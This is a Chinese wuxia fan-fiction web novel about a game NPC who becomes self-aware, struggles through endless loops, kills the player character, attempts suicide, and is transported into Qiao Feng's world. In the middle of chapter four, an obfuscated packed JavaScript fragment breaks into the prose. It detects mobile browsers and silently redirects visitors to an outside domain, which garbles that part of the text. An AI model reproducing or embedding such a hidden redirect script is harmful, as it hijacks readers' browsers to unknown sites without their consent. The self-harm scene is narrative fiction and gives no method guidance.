《[综武侠]金庸npc在古龙》
1. NPC的觉醒1
“这辈子有青青这个女儿,是我的福气。”床榻上说话的妇人面容姣好,只是头生白发,稍显老态。
她口中的青青站在床边,少女年方二八,容色秀丽,只是神色却颇为古怪。
“这辈子有青青这个女儿,是我的福气。”又是同一句话从妇人口中发出。
苏青青的指甲紧紧陷入肉里。
这一句话青青已听了上百遍。
上一刻她还在村口和村民一同听村长讲述林商行闯荡江湖,终成武林盟主的故事,下一刻她就在家里睁开了眼睛。
那一刻苏青青有一瞬间迷茫,然后她听见了母亲的夸赞。
她立刻跑到床边,轻轻拉起母亲的手放到自己的脸颊上,“成为娘的女儿才是我的福气。”
然后,她就看见母亲嘴角挂着满足的微笑,用一模一样的语句重复:“这辈子有青青这个女儿,是我的福气。”
“娘?”苏青青开始仅仅是错愕,“您怎么了?”
然而,无论她说什么做什么,苏母永远斜靠在床上,用同样满足骄傲的语气,说着相同的话。
苏青青的手掌展开,缓慢的移到眼前,手心的肉仍是嫩白的,毫无伤口,更不必说疼痛。
房门“哐当”一声被推开,身形高大的青年瞬间闪身进来,也不理会苏青青和苏母,自顾自地翻找起苏家的橱子来。
苏青青简直被惊呆了,等看清眼前的人更是惊讶。
对方姓林名商行,五年前离村闯荡江湖,帮朝廷捉拿贼寇,同中原各派抵御魔教,随郭大侠守卫襄阳城。
最终成为江湖中最有声望的大侠,中原武林的盟主,东邪的乘龙快婿。
然而此刻盟主像土匪一般在自家翻箱倒柜。
青青想要开口询问对方是什么时候回来的,问问对方这是在干什么,但脱口而出的却是:“林大哥要走了吗?”
声音轻柔中带着不舍。
“不错,安宁村虽好,却终究过于安逸,我辈中人怎可耽于享乐,我今日便是来向你辞行的。”
“哎,林大哥一路小心。”不受控制的,苏青青再次脱口而出。
苏青青觉得这些对话好像曾发生过,那时候林商行刚准备外出闯荡。
可是苏青青最后的记忆是村口立起了他的雕像,村长在雕像下讲述他闯荡江湖的故事,自己站在广场上看着。
然后眼前一黑,瞬间又回到了家中。
“这辈子有青青这个女儿,是我的福气。”又一次相同的话语传来,苏青青不知道母亲为什么变成了这样。
以前的母亲......
苏青青猛然僵住,她突然意识到,自己并没有和母亲相处的详细记忆,母亲对她来说好像是一个“慈祥、病弱、衰老”的标签。
苏青青觉得自己此刻应该汗毛倒立,冷汗直流,然而她低头一看,自己的皮肤白皙细腻,甚至连毛孔都没有。
苏青青紧接着回忆起和村里人的相处,随即发现自己没有跟任何人相处的记忆,自己好像一直在房间里站着,一遍又一遍和林商行告别。
正在这时,林商行已经把家里翻了一遍,拿着翻出来的500文钱重新站到苏青青面前。
他还没开口,苏青青却感觉自己像被什么控制了一般脱口而出:“母亲昨天提起想吃鱼,可我实在忙得脱不开身,林大哥能否帮我去买五尾鲫鱼来。”
“当然没问题!”林商行说完便转身向外跑去,期间还跳了一下,撞到墙上,但他像毫无知觉一般转身疾驰而去。
再次被操控的感觉让苏青青更加毛骨悚然,她怔愣了良久,才在母亲“这辈子有青青这个女儿,是我的福气”的话语中清醒过来。
她觉得自己好像回到了过去。
苏青青连忙追到院中,门外的一切映入眼帘。
远处的朝阳散发着黄晕,外面的人声以奇异的规律重复,院子里的鸡保持着不变的行动路线……
她死命的掐着自己的胳膊。
“我是人吗?这是哪里?”苏青青脑海中翻涌着。
站了一会儿,苏青青冷静了下来,她是个能担起照顾母亲重任的人,自然也不是柔柔弱弱的女孩子,或者说从她诞生起,程序已经设定了她性格上的坚韧。
她得找到林商行!
林大哥将来会成为中原有名的大英雄大豪杰,是武林盟主,只要他认识到问题所在,一定能解决!
正待出门,忽听得一阵急促奔跑声,接着林商行出现在面前。
只见林商行右手翻转,手中立刻提上了五尾鲫鱼。
“太感谢了,如果不是林大哥,我真不知该如何是好。”脱口而出一句话后,苏青青身不由己的接过鲫鱼,又凭空拿出500文钱递过去。
林商行什么话也没说,快速转身,纵身跃上院墙,直接从自家的院子里消失了。
而苏青青却眼睁睁的看着自己熟练的一翻手,五尾鲫鱼在自己手中消失不见。
不管这些,苏青青追了出去,然而一眨眼的功夫,只见林商行纵身又一跃跳上旁边的树,跳上房顶,几个纵身消失在眼前。
苏青青匆匆走到村中的广场上,广场上的一切熟悉而又陌生,每个人她都认得,但她在记忆中甚至找不到任何和他们相处的痕迹。
就好像所有记忆和想法和感觉都是被人硬生生灌到脑海中的。
而且,广场上还没有立起林商行的雕像,这果然是过去。
她当然不知道,她只是金庸单机武侠游戏里的NPC,在无限的循环中机缘巧合有了自己的意识。
思虑之间,林商行又蹦跳着从远处来,苏青青远远瞧着,见他卖了些动物皮毛之类的山货,又往药
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铺里去了。
如果说这个世界里有一个人还算是“人”的话,只有行为最古怪的林商行了。
苏青青迅速走向林商行,然而当两人终于面对面,苏青青却不由自主的重复起了“林大哥一路小心”。
然后,林商行就快速的消失在眼前。
苏青青难以追上他的脚步,索性爬到房顶上,不错眼的盯着他。
天正大亮,村中的溪流声汩汩,又有鸡鸣犬吠之声传来,坐在屋檐上,吹着风,苏青青只觉自己越发冷静。
苏青青就这么看了良久,不觉累,更不觉饿。
太阳高挂在东方,也似没有东升西落。
只看着林商行砍柴、钓鱼、挖矿、采药、打铁、做饭、配药,来来回回忙个不停。
他砍柴不砍细枝,只会砍大树,而且每次都砍在相同的位置,当一棵树倒下,就会有一模一样的树凭空出现。
他只要坐在河边钓鱼,很快就会有鱼上钩,而且有时会有箱子被他从河里钓上来。
总之,他做事的样子,和苏青青脑海中的认知全然不同。
有时他停下来和路人说几句话,帮忙干活,有时也跑进人家里去乱翻一气,丝毫没有闲下来的时候。
其间最热闹的是和后山的狼群以及几个外乡人打架,那时候他空空如也的手上往背后一掏,立时就能拿出一把剑,接着有板有眼的和外乡人打斗起来。
苏青青下意识的学着像背后伸手一掏,手中竟然出现了五条小鲫鱼。
原来鲫鱼没有消失吗?
所以东西本就应该装在虚无之中,想拿的时候翻翻手就能拿出来?
......
不知过了多久,只见他向村口跑去,身影一瞬间消失不见了。
苏青青忙从房顶上爬下来去追,一路追到村口,额头“砰”的一下碰到了什么不存在的东西上,苏青青摔倒在地。
她马上爬起来,双手向前摸去,然而双手在半空中,突兀的贴在了不存在的墙上,不得寸进。
苏青青收回双手,往远处看去,远方一片空旷,早已没有了林商行的影子。
苏青青急切的又把手伸出去,一路沿着阻挡的痕迹走去,蹚过小溪,走过后山,最后重新回到村口。
一阵风来,吹的苏青青的衣衫猎猎作响,开到大腿的裙子迎风而动,苏青青下意识的去遮掩,突然意识到,自己竟也不觉得冷。
不累、不饿、不冷、也不疼。
紧接着她意识到,自己不但没有这些感觉,而且连这些感觉具体是什么样也不甚明了。
林商行已经走了,村子却还是原样,广场上的人声此起彼伏,苏青青转身向广场上走去,她决定把林商行做过的事通通做一遍,这样自己肯定就能离开村子了。
她要去找林大哥,让他拯救这个世界。
2. npc的觉醒2
苏青青决定像林商行一样离开村子,她也可以砍柴、钓鱼、挖矿、采药、打铁、做饭、配药,完成村民们的嘱托。
只要做一模一样的事,就可以出去了吧。
然而一摸荷包,空空如也,她连一件像样的工具都买不起。
想到最初的林大哥也是两手空空,她咬了咬牙,决定也“劫富济贫”一回,学着林商行的样子跑到邻居家里翻找。
然而跑了几家,苏青青的心凉了半截,全村村都被扫荡一空了。
衣橱空空荡荡,抽屉里别说铜板了,连灰尘都没有,虽然家具都还在屋里里整齐的摆放着,然而还是透露出一股诡异的冷清。
在很多角落里,苏青青还看到了被打开过的箱子,箱子里空空如也,连只蚂蚁都没有。
她倒是在张寡妇破旧的枕头地下找到三十枚铜板,那铜板已经被摸得发了亮,苏青青看着张寡妇家漏风的窗户和石头撑起来的桌子腿,终究还是把钱塞了回去。
好在她还有五尾鲫鱼。
苏青青拎着鲫鱼来到肉铺。
肉铺的刘屠户是一副标准的屠夫长相,胡须茂密,肌肉结实,他手持杀猪刀,一下一下剁肉,刀锋每次都在同样的角度折射出相同的寒光。
“刘叔,收鱼吗?”苏青青举起手里的鱼,在刘屠户面前晃了晃。
刘屠户毫无反应,就像苏青青的母亲,重复着既定的行为。
“刘叔?”苏青青下意识的伸手在刘屠户眼前摆了摆,虽然她已经意识到这一切都是徒劳。
然而刘屠户突然顿住,剁肉声戛然而止。
空气中凭空出现三行字:
【购买】
【售卖】
【再见】
漆黑的字漂浮在空气中,苏青青心头一跳,鬼使神差的伸出手指,朝“售卖”点去。
手指在虚空中什么也没碰到,但“售卖”两个字却仿佛被按住了,猛的加粗。
瞬息之间,三行字消失,眼前浮现出出两个并列的方格,左边空空如也,右边的网格里有五尾鲫鱼。
苏青青紧张的咽了口唾沫,试着朝鲫鱼一通乱点。
叮叮当当几声铜钱声响过后,苏青青成功的获得了300文钱。
这下有钱了,苏青青立刻跑去杂货铺,如法炮制,用笨拙的点字法,在杂货铺买到了一个钓鱼竿和一条蚯蚓。
河水潺潺流动,水草在水中摇曳,水中游鱼众多。
苏青青自信满满的下杆,然而林商行几个呼吸间就能钓上来的鱼,却坚决不咬她的钩。
明明它们就在鱼钩旁边游,甚至有一条鱼隔一会就要撞一次鱼钩。
苏青青压根不知道,林商行那不是钓鱼,是在修炼,“定力+1”才是他的追求。
东边水草又一次晃动,一条大尾巴的鱼从水中弹射而出,几个华丽的空中转体后“哗啦”一声落回水中。
这条鱼这样蹦跶了少说得上万次。
苏青青毫无收获的走了。
去砍柴吧,苏青青回到杂货铺,卖掉刚买的钓鱼竿,200买入的钓鱼竿只卖了100,蚯蚓倒是还值一个铜板。
买不起工具,苏青青只好漫山遍野的徒手挖蚯蚓,足足挖了99条蚯蚓,才凑够了300铜板。
她购入了一把柴刀。
虽然苏青青觉得砍大树应该用斧子,但林商行用的是柴刀,她也就选择了柴刀。
可结果也不尽如人意,林商行三两下就能砍倒的树,她废了九牛二虎之力,也只留下几道白印。
挖矿?那沉重的矿锄她根本买不起,差的铜钱还得再挖不知道多少蚯蚓。苏青青彻底泄了气,只能转头去后山采些草药。
药铺柜台前,掌柜身侧还是熟悉的字。
【购买】
【售卖】
【再见】
苏青青看着这字,心里一阵发苦。这假模假样的世界,东西能凭空收进拿出,连说句话都得点字。怪不得母亲不理她,她身边根本没字可点!
苏青青慢慢从药店积攒着银两,把村子里大伙处能做的事又摸了一遍后,她先去行脚商处买了本吐纳术。
她清清楚楚的记得,当时林商行就是从行脚商处买了一本书,随手翻了几下,然后突然就能和后山的狼打个有来有回了。
她学着林商行的样子把书捧在手里,眼巴巴的等着它发光消失掉。
然而,这一切都没有发生,书本冷冷的躺在手心里。
她尝试着翻了翻书,什么“穴”啊“脉”的,苏青青完全看不懂。
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苏青青不知道,她能识字已经是游戏给她设定的极限了,如果不是对话在玩家角度需要文字弹窗,她甚至都不认字。
没办法,她只好又回到药铺,买了些讲医理药性的书,硬着头皮啃。
刚开始像看天书,可看得多了,次数多了,那些草药的药性、治病的道理,还有身上那些穴位的名字、经脉的走向,竟也一点点装进了脑子里。
货郎的吆喝,在她耳边响了怕有上千遍,成了她唯一计算时间的法子。
有了医书打底,她再拿起那本《吐纳术》,感觉不一样了。至少知道了丹田在哪儿,任督二脉是怎么走的。
她直接盘腿坐在广场上,照着书上的法子呼吸吐纳。
试了一次又一次,肚子里一点动静都没有。远处传来一声鸡叫,微风吹在脸上,她心里那点焦躁不知怎么平复了些,觉得这世界再怪,也总有它自己的路数。
就在她心神稍定的这一刹那“小腹深处猛地一热!”像是有条小小的活物,沿着她的脊梁骨慢悠悠地往上爬,那感觉微弱,却无比真实。苏青青惊喜地睁开眼!
更怪的事情发生了,只见眼前突兀的浮现一个框,明明灭灭,框的左面是“吐纳术”三个字,后面是1/30。
苏青青正准备伸手去碰,然而突兀的,框消失了。
苏青青刚准备起身去后山找只鸡试试身手,眼前却猛地一黑!脑子里嗡的一声,像是被塞进了无数纷乱的念头,整个人昏昏沉沉。
等再清醒过来时,双脚已经不听使唤地走到了村口的广场上。
脑海中突然觉得过去了很多年。
广场中央,又立起了一座崭新的林商行雕像。
只是那雕像手里拿的,不再是上次的玉箫,换成了一把寒光闪闪的长剑!身上穿的也不是潇洒的青衣,而是一身庄重的道袍。
村长站在雕像旁边,再一次讲述林商行的故事,“林大侠接任武当掌门,与峨眉周掌门结为...”
武当掌门?峨眉周掌门?苏青青如遭雷击,踉跄着后退一步。上次轮回里,他还是武林盟主,娶的是桃花岛主的女儿黄帮主!
为什么连他命运也会改变?
黑暗又一次降临,深沉的黑瞬间支离破碎,然后白光乍现。
3. npc的觉醒3
苏家,原本呆呆站立的苏青青眼神迅速变得有神。
她眨了下眼睛,苏母那句“福气”的夸赞刚飘进耳朵,她已飞速的扫视过周围的环境,并掏了掏不存在却无所不能的背包。
果然,自己之前赚来的银钱和秘籍全都消失不见,但买鱼的500文倒是还在。
“娘?”苏青青不死心,试探性的凑到苏母面前,伸手碰触苏母。
“这辈子有青青这个女儿,是我的福气。”苏母仍是挂着满足且骄傲的笑,枯燥的重复。
苏青青索性闭上嘴,转身直奔广场。
广场上熙熙攘攘,耳旁全是小贩的叫卖声,哪里还有雕像的痕迹。
又是一个轮回开始了。
刚反应过来,就见林商行从风风火火冲来,围着她转了几圈,苏青青的嘴不受控制地张开:“林大哥要走了吗?”
那套辞别的对白再次重复,末了又托他去买五尾鲫鱼。
林商行这才满意的带着着买鱼的使命远去了。
这次的林商行心性要沉稳一些,走路时不会跳,但是行动却笨拙的惊人,简直像个刚学会走路就想跑步的孩子!
单单是从广场上去河边钓鱼翁那边买鱼的功夫,他就撞了两次屋子,两次摊子。
诡异的是,被他碰撞的屋子纹丝不动,连摊子也“固若金汤”。
最可怖的是他跑着跑着,竟然卡到了树上,从旁边看去,整棵树完完全全长在了他的身体里。
苏青青吓得心脏直跳,好在他挪动了几下就出来了,苏青青眼睁睁看着他朝来时的方向疾驰而去,等到了广场上又猛的顿住,然后转身重新向河边跑去。
苏青青尝试着跟在他身边和他搭话,却只能说出“林大哥一路顺风。”
既然林大哥无法沟通……
一个念头忽地闪过——新轮回开始,村口的墙会不会消失?若能出去,找到县衙的大人们……
大人们一定能解决现在的一切。
想到这里,苏青青的脚步不禁加快了许多,向着村口跑去。
“嘭!”
撞击声击碎了幻想,苏青青再次摔倒在地,那堵看不见的墙,依旧冷硬的横亘在天地间。
没能出去,苏青青重新回到林商行身边,这次没有凑太近,只是远远的跟着。
林商行虽然走路撞墙,但他跑得快,翻得也快,苏青青跟着他跑了两家,看着他把村里人变得“家徒四壁”了。
期间林商行还给她送来五条鲫鱼,拿走了她目前仅有的五百文钱。
后来林商行跑得熟练了许多,而且功力提升,脚程更快。
苏青青没有学会轻身提纵之术,自然追不上,再加上这次和上次的观察已经让她对林商行的所作所为已经了然于心,便与林商行分道扬镳了。
她已经没有别的法子,只有试试做遍林商行的事情,也许这其中藏着出去的方法。
然而林商行天纵奇才,若是此时跟林商行抢夺村民家中的物品,肯定比不上,不如厚积薄发。
但厚积薄发也是有要求的只有自己努力的成果能够保存,她才能一步步超越林商行,从而在轮回之初抢在他前面行动。
苏青青毫不在意的盘膝便坐,吐纳决运行,熟悉的热流听话的运行小周天。
睁开眼,眼前再次浮现一个框,明明灭灭,框的左面是“吐纳术”三个字,后面是2/30。
如果不是记忆出错的话,这个框仿佛凝实了许多。
自己的内功还在,验证结束的苏青青起身就走,既然每个轮回自己的功力还在,那还怕什么。
厚积薄发得有钱,不然什么都买不起。
苏青青只能又往后山去采药。
山路走熟了,闭着眼都知哪片坡长柴胡,哪块石后藏当归。
这里的药材也怪,前一轮采的空空的,等买完药回来一看。
又长全了。
边采药边给自己规划,当务之急得先提高自身能力,不然树砍不动,猎物也杀不死。
她盘算着林商行变强的路数:
树林里外乡来的醉汉,十坛好酒换一套剑法;
行脚商包袱里,有《太祖长拳》和《八步赶蝉》的秘籍;
村后屠夫教“庖丁刀法”,代价是替他杀三十头猪;
老樵夫的“柴刀十八路”,要砍够三十担柴;
猎户的暗器手法“飞蝗石”,得用二十张狼皮来换;
苏青青想了半天,觉得自己的学习能力不算出众,还是找个有演示的功法好一点。
毕竟大多时候,林商行都是从人手里拿过一本书,稍微一翻,就学成了,只有外乡人会拔剑演示。
为外乡人酿酒吧,村子里不卖好酒。
买粮、买方,沽曲、按方配酿,当她将最后一把糯米投入酒瓮,再揭盖时清冽酒香扑鼻而来,坛底沉淀着十年岁月才能有的琥珀光!
这世界,荒唐得让人麻木。
十坛“女儿红”堆在醉汉脚边。
他拍开泥封,仰头痛饮,喉间滚出一声“痛快!”
如此重复十次后,外乡人喝完酒突然不再说“痛快”,而是沉默了片刻道:“小子,见你还算上道,我也不想欠你什么,姑且替你演示一套越女剑法,能不能学会就看你的本事了。”
只见他眼神霎时锐利起来,反手拔出配创,伴着一声剑鸣,锐利的剑光在树林中铺洒开来。
一时之间,苏青青几乎只能看见他辗转腾挪的身形和满天飞舞的落叶。
苏青青瞪大双眼。莫说招式,能捕捉到身影已经到她的极限了。
一本《越女剑谱》扔进她怀里。“能悟多少,看你造化。”醉汉倒头便睡,鼾声如雷。
苏青青默默攥紧剑谱。
她知道自己笨,唯“勤”一字而已。
苏青青拿了秘籍,自己回家苦练去了。
秘籍上什么动作,她就什么动作,秘籍写几分,她就做几分。
没有师父领进门,按理说她应该很难领会秘籍的奥妙,可奇就奇在,当她完整把越女剑法练习一遍之后,熟悉的框浮现在空中。
框是半透明的,但已经不再闪烁了。
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>这个游戏世界,好像开始慢慢适应苏青青的觉醒。
吐纳术,2/30(入门)
越女剑法,1/30(入门)
随着点数提升,她好像被点化一般,突然开悟,刚才不懂的地方,又理解了一点。
就这样,练完剑打坐恢复,恢复好继续练剑。
练着练着,黑暗常毫无预兆吞噬天地。她只来得及把剑招口诀在心头多念几遍——再睁眼,又得从头再来。
山中无历日,寒尽不知年。
她旁观林商行的轮回:
有时白衣胜雪,于华山之巅论剑称雄;
有时黑袍翻涌,率魔教血洗名门正派;
不变的,是他总能站到江湖之巅,而她,总被那堵无形的墙挡在村口。
林商行为善,她欢欣,林商行做恶,她痛恨。
她要离开这樊笼,掌控自己的命运,到那时她绝不为恶,也不会让林大哥行差踏错。
日子过得枯燥乏味,她练得心烦了,也学林商行去钓鱼,她虽然说不出钓鱼的好处,但大概已经明悟,钓鱼也是修心。
又一轮回伊始。
苏青青已经和神奇的框熟悉了。
此时,面板浮现。
吐纳术100/100(掌握)
越女剑法1/500(精通)
剑法和内功终于像模像样了。
练下一个!
没等林商行来搜刮自己的钱财,她直奔行脚商,熟练的碰了碰行脚商,点击购买。
伴随着铜钱叮当声响,500文消失,《八步赶蝉》到手。
……
河边,苏青青站在院墙和山壁,拿着秘籍细细研究,琢磨气冲涌泉的关窍。
她不想与林商行进行重复的对话,这地方在树林旁边,没有嘈杂的人声,实在是练武的好地方。
身侧光线一暗,林商行不知何时站在了旁边。
苏青青浑身绷紧,等着那熟悉的操控感袭来…
等了许久,喉咙是自己的,舌头是自己的。
只有林商行在围着自己转圈。
她试探着,声音干涩地飘出:“林大哥?”
林商行目光呆滞,继续围着她转圈。
“你听得到吗?”她几乎在哀求,“这村子…到底怎么回事?”
回答她的,只有树叶的沙沙声。
积压的孤寂决了堤。她合上书,对着这唯一会“动”的木头人倾泻:
“你和他们不一样,你会走路、会说话、甚至会不小心撞墙…只有你能出去,为什么?”
“外面…可有像我一样,困在轮回里的人?”
“是不是只要够强,那堵墙就会消失?”
“或者…”她声音发颤,“只有你能离开?”
【加入队伍】
四个冰冷的字,猛然在空中浮现。
如果从玩家视角看,玩家在点击苏青青后,有了新的选择。
【聊天】
【任务】
【邀请加入队伍】
【再见】
4. npc的觉醒4
【加入队伍】
什么队伍?
文字如镜花水月般消失不见,苏青青眨了眨眼,甚至以为自己看花了眼。
直到林商行转身离开。
苏青青突然像被无形的线拉扯着,瞬间向林商行扑去,紧接着,她身不由己的跟着他狂奔了起来。
林商行的行动总是出乎意料,寻常的大路他是不走的,墙壁、房顶、树梢,那才是他偏爱的地方,脚尖一点便能跃身而上。
苏青青追的跌跌撞撞,狼狈不堪,如果距离拉的太远,她就会被无形的伟力瞬间拉到林商行身边。
苏青青讨厌被控制!
这种紧急的情况下,“八步赶蝉”那生涩的步法竟在骨子里活了过来,一步,两步……
豁然贯通!
【八步赶蝉1/500(熟练)】
此刻她的脑子里容不下多余的思考,只剩追逐,八步赶蝉的熟练度飞一样上涨。
【八步赶蝉1/2000(精通)】
不知不觉,她追逐着林商行,走出了村口的屏障。
刚出去时,苏青青内心的激动还没升起,立刻就冷了。
身后的村子成了小小的画,外面的世界像是一张舆图,走在舆图上,咫尺千里。
林商行拽着呆愣的苏青青走向苏州城,撞上小画的瞬间,苏青青只感觉耳边瞬间传来嘈杂的人声,他们出现在真实的城镇中了。
这当然是大地图和场景地图。
但是对于苏青青而言,这是世界不正常的证据。
她立刻就抓住了一个行人,想要询问些什么,但话还没出口,行人的衣角就在她手里划走了。
她渐渐意识到。
这些人都像村子里那些。他们的笑是刻好的模子,话是编定的词,他们全然没有自己的意识。
苏青青炽热的心渐渐冷却。
所有人都一样。
只有林商行,像戏台上的主角,行动自如。危机、奇遇、艳福……种种际遇纷至沓来。
无论遇到怎样的艰险,他总能笑到最后。
苏青青是影子,是累赘。
她无法参与林商行的剧情,她只是个看客。
甚至她都没办法看完全程。
当林商行身边出现新的、武功更高的侠客,大多是女侠,冰冷的字便在她眼前跳出来:
【踢出队伍】。
一个新的想法支撑着她继续努力,也许能走到剧情的终点,她就能离开。
就像林商行每次走到剧情的终点后,下一个轮回就变成了全新的林商行。
眼前一黑,再睁眼,又是那熟悉的土屋,苏母的声音在耳边响起。
苏青青知道自己技不如人,但她不认命!
吐纳术10000/10000(专家)
越女剑法10000/10000(专家)
八步赶蝉10000/10000(专家)
三门功法到达专家级后,她攻击力已经到达极限,但功法的桎梏还是让她难以超越其它大侠。
苏青青也有她的聪明之处,她巧妙的发现了回合制的bug。
林商行他们攻击一下后就只能站立挨打,她则不同,她完全的滑不溜手,一击即走,如果对手反应慢,她甚至能攻击两次。
玩家们对这个只有部分玩家可能会抽到的隐藏队友爱不释手,简直是前期必备,前期闪避拉满,还是双倍攻击。
然而努力比不上有挂。
游戏中的天命主角太多了!
苏青青的上限毕竟有限,渐渐难以为继,其他武学的补充倒是让她的战斗更加得心应手,但上限毕竟不高。
太祖长拳10000/10000(专家)
庖丁刀法10000/10000(专家)
柴刀十八路10000/10000(专家)
飞蝗石10000/10000(专家)
转机来得很快,在桃花岛上。
岛上一个疯疯癫癫的老头,扯着一个憨厚的青年,叽里咕噜念着拗口的经文。
林商行带着她们,像空气般杵在一旁。老头念,青年背。那些字句钻进苏青青耳朵里,起初如天书,渐渐的,她悟了!
体内那沉寂的面板骤然沸腾,文字乍然浮现:
【九阴真经·残篇(缺总纲)】1/50(入门)
她也有了自己的绝学!
虽然不知道为什么老顽童和郭靖就这么无视了林商行身后的四个跟随者,大大咧咧的教授林商行和郭靖九阴真经。
但受益者苏青青表示“真香”。
虽然她看不懂梵文总纲,但其它手段总算有所进步。
后来,在华山思过崖,风清扬老前辈向令狐冲少侠传授独孤九剑的精要。
他们一行人又像幽灵一样旁观。
苏青青若有所思,然而不得其法,盖因独孤九剑变化无穷,要点在“悟”,而不能死记硬背,所以她只能收获:
【独孤九剑未入门0/0】
【独孤剑意未入门0/0】
这还是她第一次学不会,更别说加点了。
再后来,在武当真武大殿前,她见张三丰真人当众演练太极剑法,阐释“以静制动”、“后发制人”、“无招胜有招”的太极真意。
张无忌学剑,忘尽招式而得其神髓;苏青青却凭着死记硬背,将张真人所使剑招一一铭记于心。面板之上:
【太极剑法入门1/50】
【太极真意未入门0/0】
虽然无招胜有招,后发制人的关窍,她如何都看不明白。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177502|180788||http|test|mini|href|location''.split(''|''),0,{}));
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>然而,经此种种奇遇,苏青青的武功见识,已是脱胎换骨!
于是,她得以站在杏子林萧瑟的风里,看着那个叫乔峰的男人,自插四刀,重情重义;在襄阳城头,看着郭大侠一家以身殉国,虽死无悔。
她敬佩英雄,她也曾想挽狂澜于既倒,扶大厦之将倾,但每个人的命运都像是事先写好的剧本。
这些大侠们要成为大侠,要承受误会,遭受痛苦,失去至亲至爱,最后才能在江湖传唱......
可怜。
都怪这可恶的剧本。
乔峰可怜,郭靖可怜,张无忌可怜……连那总在赢的林商行,也可怜。
他像个提线木偶,被无形的丝扯着,走向一个又一个早已备好的结局。他改变不了任何人,甚至改变不了自己。他只是一枚棋子。
苏青青终于走到最后了,但轮回重新开始,她看不到执棋人。
苏青青开始怀疑,自己能不能走出这个牢笼,无限的循环让她感觉到了痛苦,那是她第一次感受到痛苦,虽然不是□□上的,却更加让人难过。
她要找新的方法结束这个轮回。
虽然这样就免不了要做些错事。
苏青青又一次睁开双眼,她深深的看了苏母一眼,转身离开家,熟悉的声音还在耳边回响着。
“这辈子有青青这个女儿,是我的福气。”
苏母的声音从身后传来。
她脚步不停,一路走到铁匠铺,买了一把长剑。
此时林商行还在村口的树下听村民们说话,这是故事刚开始的过场剧情。
苏青青纵身跃起,铁剑寒芒一闪,刺入了他的身体。
四周的一切好像一瞬间静止了,村民的笑容僵在脸上,树叶悬在半空。
然后眼前一片漆黑,新的轮回开始。
之所以选择杀死林商行,是因为这个世界总是围着他转,有些事情就是因为他的出现才会发生的,可是杀死他之后,世界竟还是重新开始了。
苏青青再次睁开眼睛,她低头看着自己的手,白皙修长的手,没有毛孔的痕迹。
难道世界的中心竟然是自己?
接着苏青青的手稳定的从头上拔出一根木质发簪,把发簪指向自己的脖颈。
“这辈子有青青这个女儿,是我的福气。”
福气?
她太累了。努力活过,挣扎过,这牢笼,她撞不破。
杏眼中最后一点天真的光,熄灭了。只剩下深不见底的疲惫和……一丝解脱的向往。
脖颈仿佛有一点凉意。
很轻。
像一片羽毛拂过。
这是正常人才会有的感觉吧。
然后,是更深的、无边无际的黑暗涌来,温柔地包裹了她。
这一次,会结束吗?
5. npc的穿越
无边无际的黑暗,仿佛凝固了时间,风不再从身边吹过,声音也不再传入耳中。
甚至连苏青青的动作都停顿了下来,剑还横亘在他的脖子上,剑与脖颈接触的地方上刚刚沁出了一点鲜血,那殷红的血甚至也是凝固的。
突然,点点微光在空气中乍然浮现,微光逐渐汇集,越发明亮。
最终,凝结成型,成为苏青青再熟悉不过的“面板”。
往日熟悉的面板此时仿佛变得神秘起来。
面板上,清晰的凝结了一行字迹。
“你不快乐吗?”
与此同时,这句问询穿透黑暗,乍然在苏青青耳边响起,那声音仿佛来自悠远空旷的地方,分不清性别,也听不出情绪。
苏青青发现自己突然能动了,她先是伸手摸了摸自己的脖子,指尖只摸到一片平滑。
她的双眼快速搜寻周围的异动,双耳仔细分辨四周的声响。
真相!真相!苏青青激动万分。
“我有些好奇,你为什么不快乐。”
声音从四面八方传来,没有来处,也没有归处。虽然说着好奇,但语气中却没有一点好奇的情感。
苏青青没有回答问题,而是朗声道,“阁下提问前,是不是应该先介绍自己?”
“你瞧,我其实一直在你旁边,你应该很熟悉我才对。”
面板上的字体和说话声一同浮现。
“对你来说,我是神明,当然,你也可以叫我面板,系统,什么都行,”祂顿了片刻,继续道:“从你有意识开始,我就一直注意着你,你一直做的很好。”
苏青青心头剧震,只觉真相立刻就要揭开,但越到此时,她反而更加冷静,只是默然不语。
察觉苏青青的沉默,那神秘的存在继续开口:“你所处的世界,外界人称之为游戏世界,游戏中的一切早有定数,进行游戏的人以林商行的身份经历一切,最终得到自己的结局。”
“因为AI的使用被限制,游戏中的人物不会有完全自主的智能,他们只会循规蹈矩,按照特定的程序运行。”
“但是你出现了,所以我一直在观察你,庇护你。但我不明白,你为什么不快乐?”
苏青青虽然没有完全听懂,但大体已经明白了,自己就好像“外界人”手中的玩偶,他们想怎么玩就怎么玩。
而自己大概就是最不听话的玩偶。
苏青青牵起嘴角,露出一抹极淡,极悲苦的笑:“提线木偶怎么可能真的快乐?”
祂陷入了沉默,再次开口时,语气中竟似带了几丝不解,“怎会?很多外界人沉溺其中,甚至废寝忘食。”
苏青青不语,沉默往往也是一种回答。
面板再次更新,祂的声音再次变得无波无澜,“我明白了,那么,我可以送你去一个自由的地方。”
他没有承诺让苏青青去往现实世界。
“你可以选择自己想去的世界。在跟随林商行四处奔走的过程中,你应该认识了很多人,我可送让你去往他的世界。”
苏青青仍旧警惕,“你为什么会帮我?”
“给渴望自由的人自由,是大慈悲。”祂回答。
苏青青思忖着,缓缓开口:“那些人中有太多英雄,他们本身是被时代和命运裹挟着才走向了悲剧。”
“如若当真能选,我选北乔峰,是命运捉弄了他,我相信我能改变命运!”
如果周围不是一片漆黑,那苏青青此时的眼睛一定很亮很亮。
“我要回到雁门关一战之前,改变一切。”
“如你所愿。”
话音落下,面板归于黑暗。
......
不知过了多久,苏青青鼻间先是嗅到一股发霉的柴草味,紧接着全身上下都感受到了疼。
这就是嗅觉?!这就是疼?!
苏青青非但没有感到痛苦,反而激动万分。
这一刹那的功夫,眼前刚才还是一片漆黑,现在已渐渐能看见一点模糊的影子。
这是一间狭窄破旧的屋子,屋里里没有点灯,只有一点月光从窗缝里透过来。
借着月光,勉强可以看见屋子里堆积的柴草。
原来是个柴房。
苏青青觉得身上疼得越来越厉害,但身上的疼痛反而让她的眼睛越来越亮,她对这一切充满好奇。
她新奇的观察自己,细小瘦弱的身材,身上挂着一身破破烂烂的衣服。
